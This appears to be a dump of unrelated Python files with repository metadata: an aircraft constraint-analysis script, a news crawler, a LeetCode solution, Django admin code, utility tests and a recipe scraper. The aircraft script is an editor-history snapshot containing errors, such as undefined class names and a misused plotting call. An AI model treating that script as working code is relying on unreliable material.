(20, 0.01), (28, 0.001), (50, 0.0001)]) ]), model=Model(n=18), step_per_epoch=step_per_epoch, max_epoch=500, ) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--gpu', help='comma separated list of GPU(s) to use.') parser.add_argument('--load', help='load model') args = parser.parse_args() if args.gpu: os.environ['CUDA_VISIBLE_DEVICES'] = args.gpu config = get_config() if args.load: config.session_init = SaverRestore(args.load) if args.gpu: config.nr_tower = len(args.gpu.split(',')) SyncMultiGPUTrainer(config).train()
e26197127e92a2aa7241dde7e97a9c166231ce11
00c6ded41b84008489a126a36657a8dc773626a5
/.history/Sizing_Method/ConstrainsAnalysis/ConstrainsAnlysisPDP1P2_20210712095445.PY
4bfa50547de6a6e34d667ac6143127baea45a36d
[]
no_license
12libao/DEA
85f5f4274edf72c7f030a356bae9c499e3afc2ed
1c6f8109bbc18c4451a50eacad9b4dedd29682bd
refs/heads/master
2023-06-17T02:10:40.184423
2021-07-16T19:05:18
2021-07-16T19:05:18
346,111,158
0
0
null
null
null
null
UTF-8
Python
false
false
21,345
py
# author: Bao Li # # Georgia Institute of Technology # import Sizing_Method.ConstrainsAnalysis.ConstrainsAnalysis as ca import Sizing_Method.ConstrainsAnalysis.ConstrainsAnalysisPD as ca_pd import Sizing_Method.Aerodynamics.Aerodynamics as ad import Sizing_Method.Aerodynamics.ThrustLapse as thrust_lapse import Sizing_Method.Other.US_Standard_Atmosphere_1976 as atm import matplotlib.pylab as plt import numpy as np import sys import os sys.path.insert(0, os.getcwd()) """ The unit use is IS standard """ class ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun: """This is a power-based master constraints analysis""" def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, C_DR=0): """ :param beta: weight fraction :param Hp: P_motor/P_total :param n: number of motor :param K1: drag polar coefficient for 2nd order term :param K2: drag polar coefficient for 1st order term :param C_D0: the drag coefficient at zero lift :param C_DR: additional drag caused, for example, by external stores, braking parachutes or flaps, or temporary external hardware :return: power load: P_WTO """ self.h = altitude self.v = velocity self.rho = atm.atmosphere(geometric_altitude=self.h).density() self.beta = beta self.hp = 1 - Hp self.n = number_of_motor # power lapse ratio self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h, velocity=self.v).high_bypass_ratio_turbofan() self.k1 = ad.aerodynamics_without_pd(self.h, self.v).K1() self.k2 = ad.aerodynamics_without_pd(self.h, self.v).K2() self.cd0 = ad.aerodynamics_without_pd(self.h, self.v).CD_0() self.cdr = C_DR self.w_s = wing_load self.g0 = 9.80665 self.coefficient = self.beta * self.v / self.alpha # Estimation of ฮ”CL and ฮ”CD pd = ad.aerodynamics_with_pd( self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s) self.q = 0.5 * self.rho * self.v ** 2 self.cl = self.beta * self.w_s / self.q # print(self.cl) self.delta_cl = pd.delta_lift_coefficient(self.cl) self.delta_cd0 = pd.delta_CD_0() def master_equation(self, n, dh_dt, dV_dt): cl = self.cl * n + self.delta_cl cd = self.k1 * cl ** 2 + self.k2 * cl + self.cd0 + self.cdr + self.delta_cd0 p_w = self.coefficient * \ (self.q / (self.beta * self.w_s) * cd + dh_dt / self.v + dV_dt / self.g0) return p_w def cruise(self): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation( self, n=1, dh_dt=0, dV_dt=0) return p_w def climb(self, roc): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation( self, n=1, dh_dt=roc, dV_dt=0) return p_w def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 300 knots, which is about 150 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation( self, n=load_factor, dh_dt=0, dV_dt=0) return p_w def take_off(self): """ A320neo take-off speed is about 150 knots, which is about 75 m/s required runway length is about 2000 m K_TO is a constant greater than one set to 1.2 (generally specified by appropriate flying regulations) """ Cl_max_to = 2.3 # 2.3 K_TO = 1.2 # V_TO / V_stall s_G = 1266 p_w = 2 / 3 * self.coefficient / self.v * self.beta * K_TO ** 2 / ( s_G * self.rho * self.g0 * Cl_max_to) * self.w_s ** ( 3 / 2) return p_w def stall_speed(self, V_stall_to=65, Cl_max_to=2.3): V_stall_ld = 62 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \ (Cl_max_to + self.delta_cl) W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \ (Cl_max_ld + self.delta_cl) W_S = min(W_S_1, W_S_2) return W_S def service_ceiling(self, roc=0.5): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun.master_equation( self, n=1, dh_dt=roc, dV_dt=0) return p_w allFuncs = [take_off, stall_speed, cruise, service_ceiling, level_turn, climb] class ConstrainsAnalysis_Mattingly_Method_with_DP_electric: """This is a power-based master constraints analysis the difference between turbofun and electric for constrains analysis: 1. assume the thrust_lapse = 1 for electric propution 2. hp = 1 - hp_turbofun """ def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, C_DR=0): """ :param beta: weight fraction :param Hp: P_motor/P_total :param n: number of motor :param K1: drag polar coefficient for 2nd order term :param K2: drag polar coefficient for 1st order term :param C_D0: the drag coefficient at zero lift :param C_DR: additional drag caused, for example, by external stores, braking parachutes or flaps, or temporary external hardware :return: power load: P_WTO """ self.h = altitude self.v = velocity self.rho = atm.atmosphere(geometric_altitude=self.h).density() self.beta = beta self.hp = Hp # this is the difference part compare with turbofun self.n = number_of_motor # power lapse ratio self.alpha = 1 # this is the difference part compare with turbofun self.k1 = ad.aerodynamics_without_pd(self.h, self.v).K1() self.k2 = ad.aerodynamics_without_pd(self.h, self.v).K2() self.cd0 = ad.aerodynamics_without_pd(self.h, self.v).CD_0() self.cdr = C_DR self.w_s = wing_load self.g0 = 9.80665 self.coefficient = self.beta * self.v / self.alpha # Estimation of ฮ”CL and ฮ”CD pd = ad.aerodynamics_with_pd( self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s) self.q = 0.5 * self.rho * self.v ** 2 self.cl = self.beta * self.w_s / self.q # print(self.cl) self.delta_cl = pd.delta_lift_coefficient(self.cl) self.delta_cd0 = pd.delta_CD_0() def master_equation(self, n, dh_dt, dV_dt): cl = self.cl * n + self.delta_cl cd = self.k1 * cl ** 2 + self.k2 * cl + self.cd0 + self.cdr + self.delta_cd0 p_w = self.coefficient * \ (self.q / (self.beta * self.w_s) * cd + dh_dt / self.v + dV_dt / self.g0) return p_w def cruise(self): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation( self, n=1, dh_dt=0, dV_dt=0) return p_w def climb(self, roc): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation( self, n=1, dh_dt=roc, dV_dt=0) return p_w def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 300 knots, which is about 150 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation( self, n=load_factor, dh_dt=0, dV_dt=0) return p_w def take_off(self): """ A320neo take-off speed is about 150 knots, which is about 75 m/s required runway length is about 2000 m K_TO is a constant greater than one set to 1.2 (generally specified by appropriate flying regulations) """ Cl_max_to = 2.3 # 2.3 K_TO = 1.2 # V_TO / V_stall s_G = 1266 p_w = 2 / 3 * self.coefficient / self.v * self.beta * K_TO ** 2 / ( s_G * self.rho * self.g0 * Cl_max_to) * self.w_s ** ( 3 / 2) return p_w def stall_speed(self, V_stall_to=65, Cl_max_to=2.3): V_stall_ld = 62 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \ (Cl_max_to + self.delta_cl) W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \ (Cl_max_ld + self.delta_cl) W_S = min(W_S_1, W_S_2) return W_S def service_ceiling(self, roc=0.5): p_w = ConstrainsAnalysis_Mattingly_Method_with_DP_electric.master_equation( self, n=1, dh_dt=roc, dV_dt=0) return p_w allFuncs = [take_off, stall_speed, cruise, service_ceiling, level_turn, climb] class ConstrainsAnalysis_Gudmundsson_Method_with_DP_turbofun: """This is a power-based master constraints analysis based on Gudmundsson_method""" def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, e=0.75, AR=10.3): """ :param beta: weight fraction :param e: wing planform efficiency factor is between 0.75 and 0.85, no more than 1 :param AR: wing aspect ratio, normally between 7 and 10 :return: power load: P_WTO """ self.h = altitude self.v = velocity self.beta = beta self.w_s = wing_load self.g0 = 9.80665 self.beta = beta self.hp = 1 - Hp self.n = number_of_motor self.rho = atm.atmosphere(geometric_altitude=self.h).density() # power lapse ratio self.alpha = thrust_lapse.thrust_lapse_calculation(altitude=self.h, velocity=self.v).high_bypass_ratio_turbofan() h = 2.43 # height of winglets b = 35.8 # equation 9-88, If the wing has winglets the aspect ratio should be corrected ar_corr = AR * (1 + 1.9 * h / b) self.k = 1 / (np.pi * ar_corr * e) self.coefficient = self.beta * self.v / self.alpha # Estimation of ฮ”CL and ฮ”CD pd = ad.aerodynamics_with_pd( self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s) self.q = 0.5 * self.rho * self.v ** 2 cl = self.beta * self.w_s / self.q self.delta_cl = pd.delta_lift_coefficient(cl) self.delta_cd0 = pd.delta_CD_0() # TABLE 3-1 Typical Aerodynamic Characteristics of Selected Classes of Aircraft cd_min = 0.02 cd_to = 0.03 cl_to = 0.8 self.v_to = 68 self.s_g = 1480 self.mu = 0.04 self.cd_min = cd_min + self.delta_cd0 self.cl = cl + self.delta_cl self.cd_to = cd_to + self.delta_cd0 self.cl_to = cl_to + self.delta_cl def cruise(self): p_w = self.q / self.w_s * (self.cd_min + self.k * self.cl ** 2) return p_w * self.coefficient def climb(self, roc): p_w = roc / self.v + self.q * self.cd_min / self.w_s + self.k * self.cl return p_w * self.coefficient def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 100 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 q = 0.5 * self.rho * v ** 2 p_w = q / self.w_s * (self.cd_min + self.k * (load_factor / q * self.w_s + self.delta_cl) ** 2) return p_w * self.coefficient def take_off(self): q = self.q / 2 p_w = self.v_to ** 2 / (2 * self.g0 * self.s_g) + q * self.cd_to / self.w_s + self.mu * ( 1 - q * self.cl_to / self.w_s) return p_w * self.coefficient def service_ceiling(self, roc=0.5): vy = (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 q = 0.5 * self.rho * vy ** 2 p_w = roc / vy + q / self.w_s * \ (self.cd_min + self.k * (self.w_s / q + self.delta_cl) ** 2) # p_w = roc / (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 + 4 * ( # self.k * self.cd_min / 3) ** 0.5 return p_w * self.coefficient def stall_speed(self, V_stall_to=65, Cl_max_to=2.3): V_stall_ld = 62 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \ (Cl_max_to + self.delta_cl) W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \ (Cl_max_ld + self.delta_cl) W_S = min(W_S_1, W_S_2) return W_S allFuncs = [take_off, stall_speed, cruise, service_ceiling, level_turn, climb] class ConstrainsAnalysis_Gudmundsson_Method_with_DP_electric: """This is a power-based master constraints analysis based on Gudmundsson_method the difference between turbofun and electric for constrains analysis: 1. assume the thrust_lapse = 1 for electric propution 2. hp = 1 - hp_turbofun """ def __init__(self, altitude, velocity, beta, wing_load, Hp=0.5, number_of_motor=12, e=0.75, AR=10.3): """ :param beta: weight fraction :param e: wing planform efficiency factor is between 0.75 and 0.85, no more than 1 :param AR: wing aspect ratio, normally between 7 and 10 :return: power load: P_WTO """ self.h = altitude self.v = velocity self.beta = beta self.w_s = wing_load self.g0 = 9.80665 self.beta = beta self.hp = Hp # this is the difference part compare with turbofun self.n = number_of_motor self.rho = atm.atmosphere(geometric_altitude=self.h).density() # power lapse ratio self.alpha = 1 # this is the difference part compare with turbofun h = 2.43 # height of winglets b = 35.8 # equation 9-88, If the wing has winglets the aspect ratio should be corrected ar_corr = AR * (1 + 1.9 * h / b) self.k = 1 / (np.pi * ar_corr * e) self.coefficient = self.beta * self.v / self.alpha # Estimation of ฮ”CL and ฮ”CD pd = ad.aerodynamics_with_pd( self.h, self.v, Hp=self.hp, n=n, W_S=self.w_s) self.q = 0.5 * self.rho * self.v ** 2 cl = self.beta * self.w_s / self.q self.delta_cl = pd.delta_lift_coefficient(cl) self.delta_cd0 = pd.delta_CD_0() # TABLE 3-1 Typical Aerodynamic Characteristics of Selected Classes of Aircraft cd_min = 0.02 cd_to = 0.03 cl_to = 0.8 self.v_to = 68 self.s_g = 1480 self.mu = 0.04 self.cd_min = cd_min + self.delta_cd0 self.cl = cl + self.delta_cl self.cd_to = cd_to + self.delta_cd0 self.cl_to = cl_to + self.delta_cl def cruise(self): p_w = self.q / self.w_s * (self.cd_min + self.k * self.cl ** 2) return p_w * self.coefficient def climb(self, roc): p_w = roc / self.v + self.q * self.cd_min / self.w_s + self.k * self.cl return p_w * self.coefficient def level_turn(self, turn_rate=3, v=100): """ assume 2 min for 360 degree turn, which is 3 degree/seconds assume turn at 100 m/s """ load_factor = (1 + ((turn_rate * np.pi / 180) * v / self.g0) ** 2) ** 0.5 q = 0.5 * self.rho * v ** 2 p_w = q / self.w_s * (self.cd_min + self.k * (load_factor / q * self.w_s + self.delta_cl) ** 2) return p_w * self.coefficient def take_off(self): q = self.q / 2 p_w = self.v_to ** 2 / (2 * self.g0 * self.s_g) + q * self.cd_to / self.w_s + self.mu * ( 1 - q * self.cl_to / self.w_s) return p_w * self.coefficient def service_ceiling(self, roc=0.5): vy = (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 q = 0.5 * self.rho * vy ** 2 p_w = roc / vy + q / self.w_s * \ (self.cd_min + self.k * (self.w_s / q + self.delta_cl) ** 2) # p_w = roc / (2 / self.rho * self.w_s * (self.k / (3 * self.cd_min)) ** 0.5) ** 0.5 + 4 * ( # self.k * self.cd_min / 3) ** 0.5 return p_w * self.coefficient def stall_speed(self, V_stall_to=65, Cl_max_to=2.3): V_stall_ld = 62 Cl_max_ld = 2.87 W_S_1 = 1 / 2 * self.rho * V_stall_to ** 2 * \ (Cl_max_to + self.delta_cl) W_S_2 = 1 / 2 * self.rho * V_stall_ld ** 2 * \ (Cl_max_ld + self.delta_cl) W_S = min(W_S_1, W_S_2) return W_S allFuncs = [take_off, stall_speed, cruise, service_ceiling, level_turn, climb] if __name__ == "__main__": n = 100 w_s = np.linspace(100, 9000, n) constrains_name = ['take off', 'stall speed', 'cruise', 'service ceiling', 'level turn @3000m', 'climb @S-L', 'climb @3000m', 'climb @7000m'] constrains = np.array([[0, 68, 0.988, 0.8, 0.5], [0, 80, 1, 0.5], [11300, 230, 0.948, 0.8], [11900, 230, 0.78, 0.5], [ 3000, 100, 0.984, 0.8], [0, 100, 0.984, 0.5], [3000, 200, 0.975, 0.6], [7000, 230, 0.96, 0.8]]) color = ['c', 'k', 'b', 'g', 'y', 'plum', 'violet', 'm'] label = ['feasible region with PD', 'feasible region with PD', 'feasible region Gudmundsson', 'feasible region without PD', 'feasible region without PD', 'feasible region Mattingly'] m = constrains.shape[0] p_w = np.zeros([2 * m, n]) # plots fig,axs = plt.subplot(3, 2,figsize=(20, 25)) for k in range(3): plt.figure(figsize=(12, 8)) for i in range(m): for j in range(n): h = constrains[i, 0] v = constrains[i, 1] beta = constrains[i, 2] hp = constrains[i, 3] if k == 0: problem1 = ConstrainsAnalysis_Mattingly_Method_with_DP_turbofun( h, v, beta, w_s[j], hp) problem2 = ConstrainsAnalysis_Mattingly_Method_with_DP_electric( h, v, beta, w_s[j], hp) plt.title( r'Constraint Analysis: $\bf{Mattingly-Method}$ - Normalized to Sea Level') elif k == 1: problem1 = ConstrainsAnalysis_Gudmundsson_Method_with_DP( h, v, beta, w_s[j]) problem2 = ca.ConstrainsAnalysis_Gudmundsson_Method( h, v, beta, w_s[j]) plt.title( r'Constraint Analysis: $\bf{Gudmundsson-Method}$ - Normalized to Sea Level') else: problem1 = ConstrainsAnalysis_Gudmundsson_Method_with_DP( h, v, beta, w_s[j]) problem2 = ConstrainsAnalysis_Mattingly_Method_with_DP( h, v, beta, w_s[j]) plt.title( r'Constraint Analysis: $\bf{with}$ $\bf{DP}$ - Normalized to Sea Level') if i >= 5: p_w[i, j] = problem1.allFuncs[-1](problem1, roc=15 - 5 * (i - 5)) p_w[i + m, j] = problem2.allFuncs[-1](problem2, roc=15 - 5 * (i - 5)) else: p_w[i, j] = problem1.allFuncs[i](problem1) p_w[i + m, j] = problem2.allFuncs[i](problem2) if i == 1: l1a, = plt.plot(p_w[i, :], np.linspace( 0, 250, n), color=color[i], label=constrains_name[i]) l1b, = plt.plot( p_w[i + m, :], np.linspace(0, 250, n), color=color[i], linestyle='--') if k != 2: l1 = plt.legend( [l1a, l1b], ['with DP', 'without DP'], loc="upper right") else: l1 = plt.legend( [l1a, l1b], ['Gudmundsson method', 'Mattingly method'], loc="upper right") else: plt.plot(w_s, p_w[i, :], color=color[i], label=constrains_name[i]) plt.plot(w_s, p_w[i + m, :], color=color[i], linestyle='--') p_w[1, :] = 200 / (p_w[1, -1] - p_w[1, 20]) * (w_s - p_w[1, 2]) if k != 2: p_w[1 + m, :] = 10 ** 10 * (w_s - p_w[1 + m, 2]) else: p_w[1 + m, :] = 200 / (p_w[1 + m, -1] - p_w[1 + m, 20]) * (w_s - p_w[1 + m, 2]) plt.fill_between(w_s, np.amax(p_w[0:m - 1, :], axis=0), 200, color='b', alpha=0.25, label=label[k]) plt.fill_between(w_s, np.amax(p_w[m:2 * m - 1, :], axis=0), 200, color='r', alpha=0.25, label=label[k + 3]) plt.xlabel('Wing Load: $W_{TO}$/S (N/${m^2}$)') plt.ylabel('Power-to-Load: $P_{SL}$/$W_{TO}$ (W/N)') plt.legend(bbox_to_anchor=(1.002, 1), loc="upper left") plt.gca().add_artist(l1) plt.xlim(100, 9000) plt.ylim(0, 200) plt.tight_layout() plt.grid() plt.show()
54c140dea6736faad18cb4b357753ab8fe9c78d5
0cba5529e387ba0f077b4e8ddeb96f914004f5df
/misc/crawl/main.py
f61ef4cffc7591cf3323b98f28e84f45b993d08d
[ "MIT" ]
permissive
AsyrafAzlan/Malaya
dc78398ee6880578f40c5646a48882a5913217ae
3d5166173cf74881f7a56fffaaf391813c55d4f1
refs/heads/master
2021-05-21T22:47:41.863857
2020-04-03T15:00:21
2020-04-03T15:00:21
252,841,526
1
0
MIT
2020-04-03T21:04:44
2020-04-03T21:04:44
null
UTF-8
Python
false
false
1,449
py
import sys import argparse def check_positive(value): ivalue = int(value) if ivalue <= 0: raise argparse.ArgumentTypeError( '%s is an invalid positive int value' % value ) return ivalue ap = argparse.ArgumentParser() ap.add_argument('-i', '--issue', required = True, help = 'issue to search') ap.add_argument( '-s', '--start', type = check_positive, required = True, help = 'year start to crawl', ) ap.add_argument( '-e', '--end', type = check_positive, required = True, help = 'year end to crawl', ) ap.add_argument( '-l', '--limit', type = check_positive, required = True, help = 'limit of articles to crawl', ) ap.add_argument( '-p', '--sleep', type = check_positive, default = 10, help = 'seconds to sleep for every 10 articles', ) ap.add_argument( '-m', '--malaya', default = False, help = 'boolean to use Malaya' ) args = vars(ap.parse_args()) from core import google_news_run import json xgb_model = None if args['malaya']: import malaya xgb_model = malaya.xgb_detect_languages() results = google_news_run( args['issue'], limit = args['limit'], year_start = args['start'], year_end = args['end'], debug = False, sleep_time_every_ten_articles = args['sleep'], xgb_model = xgb_model, ) with open(args['issue'] + '.json', 'w') as fopen: fopen.write(json.dumps(results))
d9ff74cab1b9b382b1a78451ee982e6b7ca7fcf1
f0316e656767cf505b32c83eef4df13bb9f6b60c
/LeetCode/Python/Easy/1603_design_parking_system.py
34b0d5713382c201f7ab08da8a4483f7bda44d32
[]
no_license
AkshdeepSharma/Classroom
70ec46b35fab5fc4a9d2eac430659d7dafba93da
4e55799466c101c736de6c7e07d716ff147deb83
refs/heads/master
2022-06-13T18:14:03.236503
2022-05-17T20:16:28
2022-05-17T20:16:28
94,828,359
1
0
null
null
null
null
UTF-8
Python
false
false
657
py
class ParkingSystem: def __init__(self, big: int, medium: int, small: int): self.big = big self.medium = medium self.small = small def addCar(self, carType: int) -> bool: if carType == 1 and self.big > 0: self.big -= 1 return True if carType == 2 and self.medium > 0: self.medium -= 1 return True if carType == 3 and self.small > 0: self.small -= 1 return True return False # Your ParkingSystem object will be instantiated and called as such: # obj = ParkingSystem(big, medium, small) # param_1 = obj.addCar(carType)
bc85782c3aeb9a7be067f9ec854daf239eaefaa4
6f1a0823a28955f0f44fc69862ebd3ab873d79a3
/choices/admin.py
f9fccb307608bf20ae3e5cc14e4fe20e1799710e
[]
no_license
tommydangerous/spadetree
69c437c7ea543a2a3906fc60ff223fa1ac16a1d8
04a7fcecf2c79db02c1cc2f9de733cf54009836a
refs/heads/master
2020-05-03T21:43:14.509381
2014-10-07T04:27:59
2014-10-07T04:27:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
718
py
from django.contrib import admin from choices.models import Choice, ChoiceNote class ChoiceAdmin(admin.ModelAdmin): list_display = ('pk', 'tutor', 'tutee', 'interest', 'created', 'accepted', 'denied', 'completed', 'date_completed', 'content', 'tutor_viewed', 'tutee_viewed', 'day', 'hour', 'date', 'address', 'city', 'state',) list_display_links = ('tutee', 'tutor',) search_fields = ('tutee', 'tutor',) class ChoiceNoteAdmin(admin.ModelAdmin): list_display = ('pk', 'user', 'choice', 'content',) list_display_links = ('pk', 'user',) search_fields = ('content',) admin.site.register(Choice, ChoiceAdmin) admin.site.register(ChoiceNote, ChoiceNoteAdmin)
c0e3a391ef5b8736bfaa7b0ae24781444cd7257e
563274d0bfb720b2d8c4dfe55ce0352928e0fa66
/TestProject/src/intellect/examples/rulesfest/BagOfWool.py
c81e60f5a0de75ca5d9b3d74d5a8de8012a8f7bf
[]
no_license
wangzhengbo1204/Python
30488455637ad139abc2f173a0a595ecaf28bcdc
63f7488d9df9caf1abec2cab7c59cf5d6358b4d0
refs/heads/master
2020-05-19T19:48:27.092764
2013-05-11T06:49:41
2013-05-11T06:49:41
6,544,357
1
0
null
null
null
null
UTF-8
Python
false
false
1,855
py
""" Copyright (c) 2011, Michael Joseph Walsh. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the author. 4. Neither the name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE AUTHOR ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ ''' Created on Aug 29, 2011 @author: Michael Joseph Walsh ''' class BagOfWool(object): ''' Used to signify a bag of wool ''' def __init__(self): ''' BagsOfWool Initializer '''
cd6f6b1ab275a1d882c55fb188d3f83c804fcc16
dd25972910fcf2e636034130511f3e90e72279ab
/tests/test_utils.py
a68203afe83de59ce51e5ff9509f8c42cf3f7963
[ "Apache-2.0", "LicenseRef-scancode-public-domain", "MIT" ]
permissive
juju-solutions/jujubigdata
730919f25c86e0bca50c4d6e8fc31c08d56c68c8
c7a7d68feb6fd5a7661835ac2bcf178a39f3c7f2
refs/heads/master
2021-05-23T06:19:50.498529
2016-05-25T20:50:36
2016-05-25T20:50:36
35,439,404
2
6
Apache-2.0
2021-03-25T21:38:42
2015-05-11T17:37:55
Python
UTF-8
Python
false
false
4,155
py
#!/usr/bin/env python # Copyright 2014-2015 Canonical Limited. # # This file is part of jujubigdata. # # jujubigdata is free software: you can redistribute it and/or modify # it under the terms of the Apache License version 2.0. # # jujubigdata is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # Apache License for more details. import os import tempfile import unittest import mock from path import Path from jujubigdata import utils class TestError(RuntimeError): pass class TestUtils(unittest.TestCase): def test_disable_firewall(self): with mock.patch.object(utils, 'check_call') as check_call: with utils.disable_firewall(): check_call.assert_called_once_with(['ufw', 'disable']) check_call.assert_called_with(['ufw', 'enable']) def test_disable_firewall_on_error(self): with mock.patch.object(utils, 'check_call') as check_call: try: with utils.disable_firewall(): check_call.assert_called_once_with(['ufw', 'disable']) raise TestError() except TestError: check_call.assert_called_with(['ufw', 'enable']) def test_re_edit_in_place(self): fd, filename = tempfile.mkstemp() os.close(fd) tmp_file = Path(filename) try: tmp_file.write_text('foo\nbar\nqux') utils.re_edit_in_place(tmp_file, { r'oo$': 'OO', r'a': 'A', r'^qux$': 'QUX', }) self.assertEqual(tmp_file.text(), 'fOO\nbAr\nQUX') finally: tmp_file.remove() def test_xmlpropmap_edit_in_place(self): fd, filename = tempfile.mkstemp() os.close(fd) tmp_file = Path(filename) try: tmp_file.write_text( '<?xml version="1.0"?>\n' '<?xml-stylesheet type="text/xsl" href="configuration.xsl"?>\n' '\n' '<!-- Put site-specific property overrides in this file. -->\n' '\n' '<configuration>\n' ' <property>\n' ' <name>modify.me</name>\n' ' <value>1</value>\n' ' <description>Property to be modified</description>\n' ' </property>\n' ' <property>\n' ' <name>delete.me</name>\n' ' <value>None</value>\n' ' <description>Property to be removed</description>\n' ' </property>\n' ' <property>\n' ' <name>do.not.modify.me</name>\n' ' <value>0</value>\n' ' <description>Property to *not* be modified</description>\n' ' </property>\n' '</configuration>') with utils.xmlpropmap_edit_in_place(tmp_file) as props: del props['delete.me'] props['modify.me'] = 'one' props['add.me'] = 'NEW' self.assertEqual( tmp_file.text(), '<?xml version="1.0" ?>\n' '<configuration>\n' ' <property>\n' ' <name>modify.me</name>\n' ' <value>one</value>\n' ' <description>Property to be modified</description>\n' ' </property>\n' ' <property>\n' ' <name>do.not.modify.me</name>\n' ' <value>0</value>\n' ' <description>Property to *not* be modified</description>\n' ' </property>\n' ' <property>\n' ' <name>add.me</name>\n' ' <value>NEW</value>\n' ' </property>\n' '</configuration>\n') finally: tmp_file.remove() if __name__ == '__main__': unittest.main()
b2a162d9f9f162eb8a362eaa7d7226b8ba65b540
3ff4da2c4fbbf5310695d96bcf7f06a3fdf6d9f5
/Python/Edx_Course/Analytics in Python/Excercises/W4_Practice_2_dictionary_ingredients_preparation.py
b01b0498f77363b81daca9df1fba6b6bb27ef2a8
[]
no_license
ivanromanv/manuales
cab14389161cbd3fb6a5d4e2d4e4851f8d1cda16
a296beb5052712ae3f03a3b492003bfc53d5cbba
refs/heads/master
2018-10-01T01:01:50.166637
2018-07-22T18:55:50
2018-07-22T18:55:50
106,485,581
1
1
null
null
null
null
UTF-8
Python
false
false
1,026
py
# returns a dictionary containing the ingredients and preparation instructions # # def get_recipe_info(recipe_link): recipe_dict = dict() import requests from bs4 import BeautifulSoup try: response = requests.get(recipe_link) if not response.status_code == 200: return recipe_dict result_page = BeautifulSoup(response.content,'lxml') ingredient_list = list() prep_steps_list = list() for ingredient in result_page.find_all('li',class_='ingredient'): ingredient_list.append(ingredient.get_text()) for prep_step in result_page.find_all('li',class_='preparation-step'): prep_steps_list.append(prep_step.get_text().strip()) recipe_dict['ingredients'] = ingredient_list recipe_dict['preparation'] = prep_steps_list return recipe_dict except: return recipe_dict recipe_link = "http://www.epicurious.com" + '/recipes/food/views/spicy-lemongrass-tofu-233844' get_recipe_info(recipe_link)
[ "โ€œivanromanv@gmailโ€" ]
โ€œivanromanv@gmailโ€
c38d930610a88fbfe78343ed1d9797eee7ac3150
be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1
/Gauss_v45r8/Gen/DecFiles/options/14165002.py
19933c4814bf463ca3508a791d21a537372aaacb
[]
no_license
Sally27/backup_cmtuser_full
34782102ed23c6335c48650a6eaa901137355d00
8924bebb935b96d438ce85b384cfc132d9af90f6
refs/heads/master
2020-05-21T09:27:04.370765
2018-12-12T14:41:07
2018-12-12T14:41:07
185,989,173
0
0
null
null
null
null
UTF-8
Python
false
false
815
py
